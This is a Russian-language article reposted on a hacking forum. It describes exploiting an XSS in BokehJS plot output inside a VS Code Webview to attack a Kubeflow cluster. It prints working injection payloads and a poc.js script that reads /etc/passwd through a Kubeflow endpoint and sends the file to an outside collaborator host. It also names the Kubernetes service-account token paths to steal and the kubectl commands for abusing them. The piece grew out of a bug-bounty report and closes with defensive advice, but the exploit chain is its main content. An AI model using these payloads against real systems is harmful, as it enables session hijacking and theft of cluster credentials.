• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем XSS в BokehJS внутри VS Code Webview

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,381
Розыгрыши
0
Реакции
694
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Обычная визуализация данных в Jupyter Notebook может обернуться атакой на всю инфраструктуру. В этой статье мы воспроизведем XSS-инъекцию в графике BokehJS внутри VS Code Webview, проследим, как локальный баг превращается в уязвимость уровня Kubeflow-кластера, и посмотрим, какие реальные риски несет такая цепочка — от кражи cookie до доступа к Kubernetes-токенам.

Начало истории​

Представь: обычный будний день аналитика. Он работает со своим инстансом VS Code Server, поднятым в кластере Kubeflow, пишет скрипты на Python и запускает их в Jupyter Notebook с использованием файлов с расширением .ipynb. А для анализа визуализирует результаты с помощью библиотеки BokehJS.

Что есть что​

  • Jupyter Notebook — это среда разработки, где сразу можно видеть результат выполнения кода и его отдельных частей. Отличие от привычной среды разработки состоит в том, что код можно разбить на куски и выполнять их в любом порядке.
  • .ipynb — расширение файла формата Jupyter Notebook, который хранит код, текст и результаты выполнения в едином интерактивном документе.
  • Kubeflow — это платформа для работы с ML-задачами на Kubernetes. Она предоставляет пользователям удобный интерфейс для создания Jupyter-ноутбуков, запуска экспериментов, обучения и деплоя моделей. Фактически это инфраструктурный слой для data science, где в одной среде объединены сервер VS Code, Jupyter, пайплайны ML и так далее.
  • BokehJS — фронтенд‑библиотека на JavaScript, которая отрисовывает интерактивные графики, зачастую незаменима в ML-проектах: она помогает быстро визуализировать данные, отладить модели прямо в Jupyter-ноутбуке.
В тот день в работе у аналитика был массив с User-Agent’ами пользователей, которые заходили на сайт компании. Задача простая — проанализировать этот массив с заголовками и построить график, на котором будет наглядная картина: с каких устройств чаще посещают сайт. Но вместо привычного графика на экране появляются странные строчки кода. Произошла внезапная XSS-инъекция там, где ее совсем не ждешь. То, что начиналось как рутинный анализ данных, внезапно превратилось в историю об уязвимости, где обычная визуализация данных неожиданно помогла распознать атаку на инфраструктуру.



Bug Bounty превращается в исследование​

Однажды утром, выпив чашку кофе и посмотрев котиков в интернете, я обнаружил новый репорт в нашей программе Bug Bounty: ресерчер сообщил об уязвимости blind XSS. А конкретнее на его внешний сервер пришел отстук с нашего поддомена, где расположен кластер Kubeflow. У меня моментально возникло несколько вопросов: что послужило источником проблемы? Как не допустить такого в будущем? Но главное — какой максимальный ущерб от эксплуатации уязвимости смог бы нанести злоумышленник, если бы узнал о ней?

Как выяснилось, источник этого отстука оказался совсем обычным. Один из аналитиков, выполняя скрипты в поднятом VS Code Server в Kubeflow, обрабатывал данные — часть которых имела пользовательский ввод. Далее, без ручной очистки опасных символов, данные напрямую подставлялись в функции для генерации графиков. Никто не предполагал, что в этих данных могут скрываться опасные конструкции, тем более что мы все привыкли доверять таким надежным инструментам, как Jupyter или VS Code. Работая с ними, мы не ожидаем угроз безопасности, и кажется, что в таких популярных продуктах XSS вообще невозможны. Но на практике все оказалось иначе...

В этой статье мы не будем рассматривать тему Bug Bounty и все, что было связано с репортом. Вместо этого давай сосредоточимся на общей картине необычного вектора атаки и исследуем ее возможности в контексте кластера Kubeflow.


Проблемная ячейка​

Давай воспроизведем полную цепочку атаки в тестовой среде, а начнем мы с простой ячейки в файле Jupyter Notebook.

info​

Code cell — ячейка с кодом (например, Python), которую можно запустить отдельно в Jupyter Notebook, результат выполнения отображается прямо под ней.
Вместо обычных чисел в график Bokeh мы передадим XSS-нагрузку (будем учитывать, что мы анализируем заголовок User-Agent, который пользователь может контролировать). Наша XSS-нагрузка будет выглядеть так:

Код:
cell.ipynb
    # Импортируем модули библиотеки
    from bokeh.io import show, output_notebook
    from bokeh.layouts import row
    from bokeh.plotting import figure

    opts =  dict(width=250, height=250, min_border=0) # Задаем параметры для графика
    payload =  "</script>'">%0a"><video src=//ojb4h3tlwo1mc2pvslxp81broiu9i06p.oastify.com controls='true'> '">%0a%0a">" # Наш User-Agent, который заменили полезной нагрузкой

    p1 = figure(**opts) # Создаем объект фигуры
    r1 = p1.circle([1,2,3], [payload], size=20) # Рисуем точки, по оси Y вставляем нагрузку

    t = show(row(p1)) # Отображаем график p1, обернув его в строку для рендеринга в ячейке

Запустив ячейку в VS Code с расширением для работы с файлами Jupyter Notebook, замечаем, что вместо отображения графика отработал наш пейлоад.

example.ipynb
Мы можем сохранить файл и тем самым увидеть, что хранится в выходной ячейке.

И первое, что мы замечаем: ее Content-Type — application/javascript, а это значит, что в ячейке содержится не просто текст, а исполняемый JavaScript-код. Который Webview попытается выполнить, так как он работает по сути как встроенный браузер: получает HTML и JavaScript, а затем рендерит их «как есть». И второе: на выделенном участке кода — место, где мы выходим за пределы текущего контекста данных.

cell_output
При построении графика в Jupyter Notebook вне VS Code или при генерации статического HTML-файла с помощью Bokeh-функции output_file() все безопасно — данные санитайзятся. Но когда тот же самый результат попадает в VS Code Webview, HTML остается необработанным — ломается DOM (структура HTML-документа), и тем самым получается полноценная XSS внутри VS Code.

info​

В VS Code есть функция, аналогичная «инструментам разработчика» в обычном браузере, но применительно к Webview (встроенному мини‑браузеру внутри VS Code). Для просмотра HTML нужно нажать комбинацию Ctrl + Shift + P (Linux/Win) или Cmd + Shift + P (macOS) и ввести Open Webview Developer Tools.
Для просмотра ссылки Войди или Зарегистрируйся
Казалось бы, нет ничего серьезного в такой инъекции в контексте локального VS Code. Но это только кажется, и далее мы выясним, на что же она способна на самом деле.


Kubeflow-контекст​

Самое интересное происходит, когда уязвимость возникает не в контексте локального VS Code на рабочей машине, а на сервере VS Code внутри Kubeflow, где запускаются ipynb-скрипты.

То есть XSS уже не просто отрабатывает локально — она выполняется в сессии запущенного сервера VS Code пользователя внутри Kubeflow-кластера.

Подгрузив JavaScript с сервиса для генерации XSS-репорта (например, Для просмотра ссылки Войди или Зарегистрируйся) и подставив полезную нагрузку в ячейку, мы можем получить следующее:

  • сессионную куку Kubeflow — authservice_session (по умолчанию она даже не имеет атрибута httpOnly);
  • содержимое Local Storage;
  • DOM страницы (по сути весь HTML, который сгенерировал VS Code Webview в момент отработки ячейки).
Но самое важное из того, что мы можем извлечь, — это заголовок Referer, в котором можно найти уникальный notebook-suffix (идентификатор запущенного ноутбука) и имя юзера в Kubeflow. Эти две переменные понадобятся в дальнейшем исследовании. Кстати, сам Referer выглядит примерно следующим образом:

Код:
https://kubeflow.test.ru/notebook/<user>/<namespace>/stable-<notebook-suffix>/static/out/vs/workbench/contrib/webview/browser/pre/index.html?id=<uuid>&origin=<uuid>&platform=browser&VScode-resource-base-authority=VScode-resource.VScode-cdn.net&parentOrigin=https%3A%2F%2Fkubeflow.test.ru&remoteAuthority=kubeflow.test.ru&purpose=notebookRenderer

Повышаем импакт до чтения файлов​

Когда описанным способом я получил сессионную куку в Kubeflow, мне стало интересно: а что я еще могу сделать в рамках той же XSS? Фактически, получив сессию в кластере, я могу делать что угодно, но не стоит забывать, что реальный мир не так уж и прост и в подобные админки не получится просто зайти, подменив cookie. Зачастую ты должен быть авторизован в определенном корпоративном VPN, с которого получится открыть админку по URL, либо на сервисе могут работать иные ограничения.

Держа вышесказанное в голове, я начал изучать, какие методы доступны в API Kubeflow, вдруг существует API-ручка а‑ля Для просмотра ссылки Войди или Зарегистрируйся, которую я смог бы вызвать в контексте ноутбука жертвы?

И кое‑что я нашел: покопавшись в истории запросов в Burp Suite, я заметил, что время от времени Kubeflow вызывает следующий метод: Для просмотра ссылки Войди или Зарегистрируйся<username>/VScode/stable-<notebook-suffix>/VScode-remote-resource?path=....

Напишем на JavaScript простенький скрипт, который при загрузке страницы отправляет запрос на указанный метод, подставив ранее найденные username и notebook-suffix, и изменим значение параметра path на %2Fetc%2Fpasswd. Далее скрипт сохраняет ответ и отправляет его уже на наш подконтрольный сервер (в данном случае burp collabarator). И вот что из этого вышло:

Код:
poc.js
    fetch('https://kubeflow.test.ru/notebook/<username>/VScode/stable-<notebook-suffix>/VScode-remote-resource?path=%2Fetc%2Fpasswd', {mode: 'cors'}).then(response => response.text()).then(data => {
            fetch('https://random1231ukhn823itk4e6vcr4ruvrj.oastify.com/' + JSON.stringify({
                    'data': data
                }));
    });

Загружаем скрипт на наш сервер (в нашем примере путь будет иметь вид Для просмотра ссылки Войди или Зарегистрируйся), меняем payload в коде ячейки ipynb-файла и запускаем ее:

payload = "</script>'">%0a"><script src=[URL]https://test-domain.ru/poc.js[/URL]></script> '">%0a%0a">"
Теперь мы можем прочитать любой файл на запущенном в Kubeflow ноутбуке жертвы без авторизации в кластере.

Для просмотра ссылки Войди или Зарегистрируйся

О потенциальных рисках​


Kubernetes token​

Kubeflow — это часть экосистемы Kubernetes. В контейнере, где запускается Jupyter Notebook и VS Code Server внутри Kubeflow, по умолчанию монтируются файлы ServiceAccount Kubernetes.

info​

  • ServiceAccount — объект, характеризующий учетную запись службы для каждого пода.
  • Pods — это самые маленькие развертываемые вычислительные единицы, которые можно создавать и которыми можно управлять в Kubernetes.
Под, аутентифицируясь, отправляет на сервер содержимое файла /var/run/secrets/kubernetes.io/serviceaccount/token. Этот файл содержит токен аутентификации для учетной записи ServiceAccount.

Так как мы можем прочесть файл, мы фактически обладаем учетными данными сервис‑аккаунта, и это превращает XSS-уязвимость в кластерную атаку:

  • /var/run/secrets/kubernetes.io/serviceaccount/token — токен доступа к API Kubernetes;
  • /var/run/secrets/kubernetes.io/serviceaccount/ca.crt — сертификат для TLS-подключения.
Возможный импакт от сервис‑аккаунта зависит от выданных ему прав в RBAC (Role-Based Access Control в Kubernetes), но в типичных сценариях можно:

  • обращаться к Kubernetes API от имени сервис‑аккаунта (например: kubectl get pods, kubectl get secrets, kubectl describe);
  • читать данные других подов и сервисов в том же namespace;
  • если у сервис‑аккаунта есть повышенные права, создать новый под с произвольным образом и выполнять в нем команды.

Возможное RCE​

Внутри окружения VS Code Server пользователю доступен полноценный терминал. То есть в контейнере можно выполнять команды напрямую, как в обычном shell.

Прямого «моста» между XSS и shell сейчас не существует, однако само наличие терминала — это красный флаг, и, если когда‑нибудь найдется способ вызвать команду с терминала в VS Code, это уже превратится в полное RCE внутри контейнера Kubeflow. А найдется ли — вопрос времени.


Заключение​

Что мне хотелось бы отметить:

  • Это не стандартная XSS в вебе, как мы привыкли, а уязвимость во внутреннем Webview, в результате которой безобидная отрисовка графика превращается в цепочку атаки с серьезными последствиями.
  • Входные данные могут поступить откуда угодно, будь это, к примеру, заголовки Referer или User-Agent, — необходимо всегда следить за тем, чтобы эти данные были очищены.
  • Content Security Policy — механизм защиты от XSS в описанном случае обессилен, поскольку JavaScript выполняется в контексте сгенерированного Bokeh-скрипта в VS Code ноутбука жертвы на Kubeflow.
  • Библиотека BokehJS и VS Code по умолчанию доверяют разработчикам в надежде на то, что данные приходят уже очищенными, и об этом они пишут у себя в документации. В свою очередь, разработчики и пользователи зачастую считают подобные инструменты «безопасными по умолчанию».
 
Activity
So far there's no one here